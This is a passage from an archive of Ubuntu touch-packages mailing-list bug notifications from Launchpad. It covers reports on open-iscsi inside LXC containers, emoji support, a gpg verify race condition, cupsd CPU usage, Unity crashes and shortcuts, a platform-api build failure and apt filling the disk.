CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true CurrentDesktop: Unity Date: Sat Jan 11 22:27:28 2014 DistUpgraded: 2014-01-11 12:30:22,360 ERROR SystemError from cache.commit(): installArchives() failed DistroCodename: trusty DistroVariant: ubuntu GraphicsCard: Intel Corporation 2nd Generation Core Processor Family Integrated Graphics Controller [8086:0116] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Dell Device [1028:050e] NVIDIA Corporation GF108M [GeForce GT 540M] [10de:0df4] (rev ff) (prog-if ff) InstallationDate: Installed on 2012-08-25 (504 days ago) InstallationMedia: Ubuntu 12.10 "Quantal Quetzal" - Alpha amd64 (20120724.2) MachineType: Dell Inc. Dell System XPS L502X ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.13.0-1-generic root=UUID=67083065-b92e-4596-a218-817c1dfc8ae7 ro quiet splash intel_pstate=enable crashkernel=384M-:128M vt.handoff=7 SourcePackage: unity UpgradeStatus: Upgraded to trusty on 2014-01-11 (0 days ago) dmi.bios.date: 05/29/2012 dmi.bios.vendor: Dell Inc. dmi.bios.version: A11 dmi.board.name: 0NJT03 dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: 0.1 dmi.modalias: dmi:bvnDellInc.:bvrA11:bd05/29/2012:svnDellInc.:pnDellSystemXPSL502X:pvr:rvnDellInc.:rn0NJT03:rvrA00:cvnDellInc.:ct8:cvr0.1: dmi.product.name: Dell System XPS L502X dmi.sys.vendor: Dell Inc. version.compiz: compiz 1:0.9.10+13.10.20131011-0ubuntu1 version.ia32-libs: ia32-libs 20090808ubuntu36 version.libdrm2: libdrm2 2.4.50-1 version.libgl1-mesa-dri: libgl1-mesa-dri 10.0.1-1ubuntu2 version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A version.libgl1-mesa-glx: libgl1-mesa-glx 10.0.1-1ubuntu2 version.xserver-xorg-core: xserver-xorg-core 2:1.14.5-1ubuntu2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.8.2-1ubuntu1 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.2.0-0ubuntu10 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.907-0ubuntu1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.10-1ubuntu1 xserver.bootTime: Sat Jan 11 22:20:55 2014 xserver.configfile: default xserver.errors: xserver.logfile: /var/log/Xorg.0.log xserver.outputs: product id 41063 vendor DEL xserver.version: 2:1.14.5-1ubuntu2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1268146/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1226855] Re: Cannot use open-iscsi inside LXC container
@Serge, Hi, had a customer ping me about this bug, any updates? Here's his explanation: You may recall our conversation around iSCSI connectivity for binding block volume with host in OpenStack. The host is Linux container and block volume is on EMC VMAX. The I/O path is over iSCSI. The environment is Ubuntu 14.04 LTS x64. Our observation and KB found from internet is also given. - Regular attach volume works fine (iSCSI login occurs between compute node and array target). In this context, Compute node is a physical host - When creating bootable volume, controller node needs to perform iSCSI login for instance to copy. We are seeing issues with this. In this case, Compute node is an LXC container. - Same isciadm commands that fail within the container, run fine when running outside the container (on physical controller host) Looks like, There’s a iSCSI kernel bug with mounting a target within a container The issue is with multiple namespaces it appears. KBs found: https://github.com/lxc/lxc/issues/177 https://bugs.launchpad.net/ubuntu/+source/lxc/+bug/1226855 https://groups.google.com/forum/#!topic/open-iscsi/GhKfxIix4ds Do we know whether this is fixed? -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to lxc in Ubuntu. https://bugs.launchpad.net/bugs/1226855 Title: Cannot use open-iscsi inside LXC container Status in linux package in Ubuntu: Confirmed Status in lxc package in Ubuntu: Confirmed Bug description: Trying to use open-iscsi from within an LXC container, but the iscsi netlink socket does not support multiple namespaces, causing: "iscsid: sendmsg: bug? ctrl_fd 6" error and failure. Command attempted: iscsiadm -m node -p $ip:$port -T $target --login Results in: Exit code: 18 Stdout: 'Logging in to [iface: default, target: $target, portal: $ip,$port] (multiple)' Stderr: 'iscsiadm: got read error (0/0), daemon died? iscsiadm: Could not login to [iface: default, target: $target, portal: $ip,$port]. iscsiadm: initiator reported error (18 - could not communicate to iscsid) iscsiadm: Could not log into all portals' ProblemType: Bug DistroRelease: Ubuntu 13.04 Package: lxc 0.9.0-0ubuntu3.4 ProcVersionSignature: Ubuntu 3.8.0-30.44-generic 3.8.13.6 Uname: Linux 3.8.0-30-generic x86_64 ApportVersion: 2.9.2-0ubuntu8.3 Architecture: amd64 Date: Tue Sep 17 14:38:08 2013 InstallationDate: Installed on 2013-01-15 (245 days ago) InstallationMedia: Xubuntu 12.10 "Quantal Quetzal" - Release amd64 (20121017.1) MarkForUpload: True SourcePackage: lxc UpgradeStatus: Upgraded to raring on 2013-05-16 (124 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1226855/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1439222] Re: Implement emoji in Ubuntu
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: ubuntu-touch-meta (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu. https://bugs.launchpad.net/bugs/1439222 Title: Implement emoji in Ubuntu Status in ubuntu-meta package in Ubuntu: Confirmed Status in ubuntu-touch-meta package in Ubuntu: Confirmed Bug description: This bug is about implementing emoji display and insertion in Ubuntu, desktop and phone. I wrote a page about possible ways to implement emoji in Gnu/Linux systems: http://probablement.net/txt/emojilinux To sum it up: * The first thing to do is having the Symbola font (in ttf-ancient- fonts) as part of the default installation, so users can see monochrome emoji. If I understand, it’s what is being done in bug #1137630 (which is about not seeing emoji: Symbola certainly resolve it but isn’t a full implementation of emoji as we expect them). * The second thing is replacing Symbola with a proper colour emoji set, like Emoji One, Noto Color Emoji, or Twemoji. There’s different ways to implement this (layered colour font, SVG font, substitution with individual SVG files, …) but if I understand correctly comment #6 in #1137630 FreeType is already compatible with colour fonts! (I will update my page) * An optional third step would be designing a custom Emoji set. That’s more or less bug #820034 even if I’m unsure about it being part of the Ubuntu Font Family, even if drawn in stylistically consistent way with it. * Lastly, we need a system wide UI to browse, pick and insert emoji. I added some existing examples on the page; basically, the choice is making it only for emoji or part of larger UI for inserting characters. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-meta/+bug/1439222/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1439222] Re: Implement emoji in Ubuntu
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: ubuntu-meta (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu. https://bugs.launchpad.net/bugs/1439222 Title: Implement emoji in Ubuntu Status in ubuntu-meta package in Ubuntu: Confirmed Status in ubuntu-touch-meta package in Ubuntu: Confirmed Bug description: This bug is about implementing emoji display and insertion in Ubuntu, desktop and phone. I wrote a page about possible ways to implement emoji in Gnu/Linux systems: http://probablement.net/txt/emojilinux To sum it up: * The first thing to do is having the Symbola font (in ttf-ancient- fonts) as part of the default installation, so users can see monochrome emoji. If I understand, it’s what is being done in bug #1137630 (which is about not seeing emoji: Symbola certainly resolve it but isn’t a full implementation of emoji as we expect them). * The second thing is replacing Symbola with a proper colour emoji set, like Emoji One, Noto Color Emoji, or Twemoji. There’s different ways to implement this (layered colour font, SVG font, substitution with individual SVG files, …) but if I understand correctly comment #6 in #1137630 FreeType is already compatible with colour fonts! (I will update my page) * An optional third step would be designing a custom Emoji set. That’s more or less bug #820034 even if I’m unsure about it being part of the Ubuntu Font Family, even if drawn in stylistically consistent way with it. * Lastly, we need a system wide UI to browse, pick and insert emoji. I added some existing examples on the page; basically, the choice is making it only for emoji or part of larger UI for inserting characters. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-meta/+bug/1439222/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1342807] Re: gpg --verify has race conditions when used concurrently
better link to upstream https://bugs.gnupg.org/gnupg/issue1675 ** Bug watch added: bugs.gnupg.org/gnupg/ #1675 http://bugs.gnupg.org/gnupg/issue1675 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gnupg in Ubuntu. https://bugs.launchpad.net/bugs/1342807 Title: gpg --verify has race conditions when used concurrently Status in gnupg package in Ubuntu: Confirmed Bug description: There is a race condition with gnupg --verify when multiple processes act at the same time. strace helps cause the race condition (probably by slowing thing down) gpgv does not seem to have the issue. The result is you will see transient verify failures with output like below. using '--lock-once' seems to improve the problem, but not to entirely fix it. gpg: Signature made Fri 10 Jan 2014 05:41:43 PM UTC using DSA key ID 437D05B5 gpg: 12: read expected rec type 10, got 0 gpg: lookup_hashtable failed: trust database error gpg: trustdb: searching trust record failed: trust database error gpg: Error: The trustdb is corrupted. gpg: You may try to re-create the trustdb using the commands: gpg: cd ~/.gnupg gpg: gpg2 --export-ownertrust > otrust.tmp gpg: rm trustdb.gpg gpg: gpg2 --import-ownertrust < otrust.tmp gpg: If that does not work, please consult the manual See the attached 'verify-race' to show the issue. ProblemType: Bug DistroRelease: Ubuntu 14.10 Package: gnupg 1.4.16-1.2ubuntu1 ProcVersionSignature: User Name 3.16.0-3.8-generic 3.16.0-rc4 Uname: Linux 3.16.0-3-generic x86_64 ApportVersion: 2.14.4-0ubuntu2 Architecture: amd64 Date: Wed Jul 16 16:09:42 2014 Ec2AMI: ami-002c Ec2AMIManifest: FIXME Ec2AvailabilityZone: nova Ec2InstanceType: m1.small Ec2Kernel: aki-0002 Ec2Ramdisk: ari-0002 ProcEnviron: TERM=xterm PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: gnupg UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnupg/+bug/1342807/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1426490] Re: cups 2.0.2-1 100% cpu usage
Same problem here. This is the content of my /var/log/cups/error_log file: W [26/May/2015:14:10:58 -0400] Max clients reached, holding new connections... W [26/May/2015:14:10:58 -0400] Max clients reached, holding new connections... W [26/May/2015:14:10:58 -0400] Max clients reached, holding new connections... W [26/May/2015:14:10:58 -0400] Max clients reached, holding new connections... E [26/May/2015:14:14:54 -0400] [Client 310] Local authentication certificate not found. W [26/May/2015:14:14:54 -0400] Max clients reached, holding new connections... W [26/May/2015:14:14:56 -0400] Max clients reached, holding new connections... W [26/May/2015:14:14:56 -0400] Max clients reached, holding new connections... W [26/May/2015:14:14:56 -0400] Max clients reached, holding new connections... W [26/May/2015:14:14:56 -0400] Max clients reached, holding new connections... W [26/May/2015:14:17:21 -0400] Max clients reached, holding new connections... W [26/May/2015:14:17:21 -0400] Max clients reached, holding new connections... W [26/May/2015:14:17:21 -0400] Max clients reached, holding new connections... W [26/May/2015:14:17:21 -0400] Max clients reached, holding new connections... E [26/May/2015:14:19:55 -0400] [Client 599] Local authentication certificate not found. W [26/May/2015:14:19:55 -0400] Max clients reached, holding new connections... W [26/May/2015:14:19:55 -0400] Max clients reached, holding new connections... W [26/May/2015:14:19:55 -0400] Max clients reached, holding new connections... W [26/May/2015:14:19:56 -0400] Max clients reached, holding new connections... W [26/May/2015:14:19:56 -0400] Max clients reached, holding new connections... W [26/May/2015:14:19:56 -0400] Max clients reached, holding new connections... W [26/May/2015:14:19:56 -0400] Max clients reached, holding new connections... W [26/May/2015:14:19:57 -0400] Max clients reached, holding new connections... W [26/May/2015:14:19:57 -0400] Max clients reached, holding new connections... W [26/May/2015:14:19:57 -0400] Max clients reached, holding new connections... W [26/May/2015:14:19:57 -0400] Max clients reached, holding new connections... -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to cups in Ubuntu. https://bugs.launchpad.net/bugs/1426490 Title: cups 2.0.2-1 100% cpu usage Status in cups package in Ubuntu: Incomplete Bug description: upgraded from xubuntu 14.10 to 15.04 and now it uses cups 2.x after every print cupsd starts using 100% cpu and don't close. have to kill it every time with "sudo pkill cupsd" printing still works fine Description: Ubuntu Vivid Vervet (development branch) Release: 15.04 cups: Installiert: 2.0.2-1ubuntu3 Installationskandidat: 2.0.2-1ubuntu3 Versionstabelle: *** 2.0.2-1ubuntu3 0 500 http://de.archive.ubuntu.com/ubuntu/ vivid/main amd64 Packages 100 /var/lib/dpkg/status To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/cups/+bug/1426490/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1422163] Re: Unity crashing while watching youtube videos using chrome
Your system is running the llvmpipe graphics driver which shouldn't happen unless you are have very old graphics hardware. Please attach the output of lspci -vvnn and a copy of your bootdmesg.txt file. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity in Ubuntu. https://bugs.launchpad.net/bugs/1422163 Title: Unity crashing while watching youtube videos using chrome Status in Unity: Confirmed Status in unity package in Ubuntu: Triaged Bug description: I recently upgraded to ubuntu 14.10 and started experiencing repeatable unity crashes while watching youtube videos using current chrome. It doesn't always crash at the first attempt but most definitely. Once unity crashes it is respawn but again crashes immediately, the PC becomes unusable until I kill X from the console or reboot. From my .xsession-errors: upstart: unity7 main process (9627) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (9998) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (10017) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (10041) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (10054) terminated with status 1 upstart: unity7 main process ended, respawning [you got the point] Unity support test results are not reassuring: $ /usr/lib/nux/unity_support_test -p libGL error: failed to open drm device: Permission denied libGL error: failed to load driver: i965 OpenGL vendor string: VMware, Inc. OpenGL renderer string: Gallium 0.4 on llvmpipe (LLVM 3.5, 128 bits) OpenGL version string: 3.0 Mesa 10.3.2 Not software rendered: no Not blacklisted: yes GLX fbconfig: yes GLX texture from pixmap: yes GL npot or rect textures: yes GL vertex program: yes GL fragment program: yes GL vertex buffer object: yes GL framebuffer object: yes GL version is 1.4+: yes Unity 3D supported: no [possibly related to https://bugs.freedesktop.org/show_bug.cgi?id=89146] I never tried running unity_support_test before upgrading from 14.04 to 14.10, so I'm not sure if it looked better on 14.04 but definitely it didn't crash in this way. In my view this is a regression. ProblemType: Bug DistroRelease: Ubuntu 14.10 Package: unity 7.3.1+14.10.20141016-0ubuntu1 ProcVersionSignature: Ubuntu 3.16.0-30.40-generic 3.16.7-ckt3 Uname: Linux 3.16.0-30-generic i686 NonfreeKernelModules: wl ApportVersion: 2.14.7-0ubuntu8.1 Architecture: i386 CompizPlugins: [core,composite,opengl,decor,imgpng,resize,gnomecompat,snap,compiztoolbox,place,move,grid,vpswitch,regex,session,mousepoll,animation,unitymtgrabhandles,wall,workarounds,fade,expo,ezoom,scale,unityshell] CurrentDesktop: Unity Date: Sun Feb 15 20:12:09 2015 InstallationDate: Installed on 2010-03-20 (1793 days ago) InstallationMedia: Ubuntu 10.04 "Lucid Lynx" - Beta i386 (20100317.1) SourcePackage: unity UpgradeStatus: Upgraded to utopic on 2014-12-08 (68 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/unity/+bug/1422163/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1457964] Re: pcre3: enable jit again on ppc64el
** Changed in: pcre3 (Debian) Status: New => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pcre3 in Ubuntu. https://bugs.launchpad.net/bugs/1457964 Title: pcre3: enable jit again on ppc64el Status in pcre3 package in Ubuntu: Confirmed Status in pcre3 package in Debian: Fix Released Bug description: In 8.35 it's not necessary to disable jit support on ppc64el. I sent a patch on debian : http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=786530 I can send a debdiff on Ubuntu, is it needed ? F. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pcre3/+bug/1457964/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1458204] Re: apt-get autoremove should not require a restart afterward
Entries for kernel versions appear in the grub boot menu and as such a reboot is required for the those kernel versions to disappear. I guess strictly speaking this isn't necessary and it looks like the control scripts for the Ubuntu kernel would need modifying to make this change. The postinst file touches /usr/share/update-notifier/notify-reboot- required and maybe one of the rm scripts calls it. ** Package changed: apt (Ubuntu) => linux (Ubuntu) ** Summary changed: - apt-get autoremove should not require a restart afterward + removing kernels should not require a restart afterward -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1458204 Title: removing kernels should not require a restart afterward Status in linux package in Ubuntu: Incomplete Bug description: 1. Perform a kernel upgrade normally via "apt-get dist-upgrade". 2. Reboot. 3. Run "apt-get autoremove" to delete the old kernel packages. 4. "System Notification Helper" now reports that the computer requires a reboot. The "autoremove" operation shouldn't require a reboot, logically speaking, because it's just removing files that are unused by the OS. ProblemType: Bug DistroRelease: Ubuntu 14.04 Package: apt 1.0.1ubuntu2.7 ProcVersionSignature: Ubuntu 3.13.0-53.89-generic 3.13.11-ckt19 Uname: Linux 3.13.0-53-generic x86_64 ApportVersion: 2.14.1-0ubuntu3.11 Architecture: amd64 CurrentDesktop: KDE Date: Sat May 23 12:47:15 2015 InstallationDate: Installed on 2013-08-31 (629 days ago) InstallationMedia: Ubuntu 13.04 "Raring Ringtail" - Release amd64 (20130424) SourcePackage: apt UpgradeStatus: Upgraded to trusty on 2014-04-26 (391 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1458204/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
Re: [Touch-packages] [Bug 1458680] Re: platform-api FTBFS in wily (2.9.0+15.04.20150326-0ubuntu1)
On Tue, May 26, 2015 at 2:56 PM, Robert Carr wrote:
> https://code.launchpad.net/~mir-team/platform-api/delete-
> deprecations/+merge/254170 needed to land
Thanks.
Can we please coordinate such landings next time we change something
on mir that breaks the reverse build-deps?
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to platform-api in Ubuntu.
https://bugs.launchpad.net/bugs/1458680
Title:
platform-api FTBFS in wily (2.9.0+15.04.20150326-0ubuntu1)
Status in platform-api package in Ubuntu:
New
Bug description:
sbuild -A --dist=wily --arch=i386 -c wily-proposed-i386-sbuild
platform-api_2.9.0+15.04.20150326-0ubuntu1.dsc
[ 26%] Building CXX object
src/ubuntu/application/common/mircommon/CMakeFiles/ubuntu_application_api_mircommon.dir/event_helpers_mir.cpp.o
cd
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/obj-i686-linux-gnu/src/ubuntu/application/common/mircommon
&& /usr/bin/i686-linux-gnu-g++-4.9-g -O2 -fstack-protector-strong -Wformat
-Werror=format-security -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fPIC
--std=c++11 -I/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/include
-I/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/android/include
-I/usr/include/mirclient -I/usr/include/mircommon
-I/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src
-I/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/obj-i686-linux-gnu/include
-I/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/../../bridge
-I/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common
-o CMakeFiles/ubuntu_application_api_mircommon.dir/event_helpers_mir.cpp.o -c
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.cpp
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.cpp:
In function 'bool ubuntu::application::ui::mir::event_to_ubuntu_event(const
MirEvent*, WindowEvent&)':
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.cpp:28:22:
error: invalid use of incomplete type 'const MirEvent {aka const union
MirEvent}'
switch (mir_event->type)
^
In file included from /usr/include/mirclient/mir_toolkit/event.h:22:0,
from
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.h:24,
from
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.cpp:19:
/usr/include/mirclient/mir_toolkit/events/event.h:57:15: error: forward
declaration of 'const MirEvent {aka const union MirEvent}'
typedef union MirEvent MirEvent;
^
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.cpp:32:44:
error: invalid use of incomplete type 'const MirEvent {aka const union
MirEvent}'
ubuntu_ev.key.device_id = mir_event->key.device_id;
^
In file included from /usr/include/mirclient/mir_toolkit/event.h:22:0,
from
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.h:24,
from
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.cpp:19:
/usr/include/mirclient/mir_toolkit/events/event.h:57:15: error: forward
declaration of 'const MirEvent {aka const union MirEvent}'
typedef union MirEvent MirEvent;
^
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.cpp:33:44:
error: invalid use of incomplete type 'const MirEvent {aka const union
MirEvent}'
ubuntu_ev.key.source_id = mir_event->key.source_id;
^
In file included from /usr/include/mirclient/mir_toolkit/event.h:22:0,
from
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.h:24,
from
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.cpp:19:
/usr/include/mirclient/mir_toolkit/events/event.h:57:15: error: forward
declaration of 'const MirEvent {aka const union MirEvent}'
typedef union MirEvent MirEvent;
^
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.cpp:34:41:
error: invalid use of incomplete type 'const MirEvent {aka const union
MirEvent}'
ubuntu_ev.key.action = mir_event->key.action;
^
In file included from /usr/include/mirclient/mir_toolkit/event.h:22:0,
from
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir
[Touch-packages] [Bug 1458914] Re: should be able to send direct message to group member from menu
** Branch linked: lp:~tiagosh/messaging-app/open-individual-chat -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to messaging-app in Ubuntu. https://bugs.launchpad.net/bugs/1458914 Title: should be able to send direct message to group member from menu Status in Ubuntu UX bugs: New Status in messaging-app package in Ubuntu: New Bug description: Steps to reproduce: - receive a group message (MMS chat needs to be enabled) - open the message - on the header, click on the Contacts avatar - a list of recipients is displayed with the recipients of the message - click on one of the recipients in the list Expected Results - should open a new message to the selected recipient Actual results: - click on the recipient causes no action To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-ux/+bug/1458914/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1458081] Re: apt-get update filling disk
*** This bug is a duplicate of bug 1445239 *** https://bugs.launchpad.net/bugs/1445239 ** This bug has been marked a duplicate of bug 1445239 apt's lists/partial fills disk -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1458081 Title: apt-get update filling disk Status in apt package in Ubuntu: New Bug description: Cron job running apt-get update fills 200GBs of free diskspace. Cron from command line also has problem most of the time. However, some runs of apt-get update work OK. (~1/5 of the time) Sources.list: # See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to # newer versions of the distribution. deb http://archive.ubuntu.com/ubuntu vivid main restricted universe ## Major bug fix updates produced after the final release of the ## distribution. deb http://archive.ubuntu.com/ubuntu vivid-updates main restricted universe ## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu ## team. Also, please note that software in universe WILL NOT receive any ## review or updates from the Ubuntu security team. ## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu ## team, and may not be under a free licence. Please satisfy yourself as to ## your rights to use the software. Also, please note that software in ## multiverse WILL NOT receive any review or updates from the Ubuntu ## security team. deb http://archive.ubuntu.com/ubuntu vivid multiverse deb http://archive.ubuntu.com/ubuntu vivid-updates multiverse deb http://security.ubuntu.com/ubuntu/ vivid-security multiverse ## N.B. software from this repository may not have been tested as ## extensively as that contained in the main release, although it includes ## newer versions of some applications which may provide useful features. ## Also, please note that software in backports WILL NOT receive any review ## or updates from the Ubuntu security team. deb http://archive.ubuntu.com/ubuntu vivid-backports main restricted universe #deb http://archive.ubuntu.com/ubuntu vivid-backports multiverse ## Uncomment the following two lines to add software from Canonical's ## 'partner' repository. ## This software is not part of Ubuntu, but is offered by Canonical and the ## respective vendors as a service to Ubuntu users. deb http://archive.canonical.com/ubuntu vivid partner # deb-src http://archive.canonical.com/ubuntu utopic partner deb http://security.ubuntu.com/ubuntu/ vivid-security main restricted universe (/home/wdeutsch) wdeutsch@wdeutsch-desk2%lsb_release -rd Description: Ubuntu 15.04 Release: 15.04 ProblemType: Bug DistroRelease: Ubuntu 15.04 Package: apt 1.0.9.7ubuntu4 ProcVersionSignature: Ubuntu 3.19.0-16.16-generic 3.19.3 Uname: Linux 3.19.0-16-generic x86_64 NonfreeKernelModules: nvidia ApportVersion: 2.17.2-0ubuntu1 Architecture: amd64 Date: Fri May 22 16:09:04 2015 InstallationDate: Installed on 2014-11-11 (192 days ago) InstallationMedia: Ubuntu 14.10 "Utopic Unicorn" - Release amd64 (20141022.1) SourcePackage: apt UpgradeStatus: Upgraded to vivid on 2015-04-27 (25 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1458081/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1458950] Re: new app does not have keyboard shortcut
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: unity (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity in Ubuntu. https://bugs.launchpad.net/bugs/1458950 Title: new app does not have keyboard shortcut Status in Unity: Triaged Status in unity package in Ubuntu: Triaged Bug description: When a new app is opened, it is not added to the keyboard shortcuts (see píctures) http://i.imgur.com/SxBZ2fe.png626262 http://i.imgur.com/jhsUqTF.png636363 to reproduce: 1.open new aplication via the dash (i.e. click super key and open an application) 2.hold super and verify that application is not on the list of shortcuts yet 3.change foreground application; press super+number and verify that the new application (that you just opened on step 1) does not come back into focus To manage notifications about this bug go to: https://bugs.launchpad.net/unity/+bug/1458950/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1458950] Re: new app does not have keyboard shortcut
** Changed in: unity Status: New => Confirmed ** Changed in: unity Status: Confirmed => Triaged ** Changed in: unity (Ubuntu) Status: Confirmed => Triaged ** Changed in: unity Importance: Undecided => Medium ** Changed in: unity (Ubuntu) Importance: Undecided => Medium -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity in Ubuntu. https://bugs.launchpad.net/bugs/1458950 Title: new app does not have keyboard shortcut Status in Unity: Triaged Status in unity package in Ubuntu: Triaged Bug description: When a new app is opened, it is not added to the keyboard shortcuts (see píctures) http://i.imgur.com/SxBZ2fe.png626262 http://i.imgur.com/jhsUqTF.png636363 to reproduce: 1.open new aplication via the dash (i.e. click super key and open an application) 2.hold super and verify that application is not on the list of shortcuts yet 3.change foreground application; press super+number and verify that the new application (that you just opened on step 1) does not come back into focus To manage notifications about this bug go to: https://bugs.launchpad.net/unity/+bug/1458950/+subscriptions -- 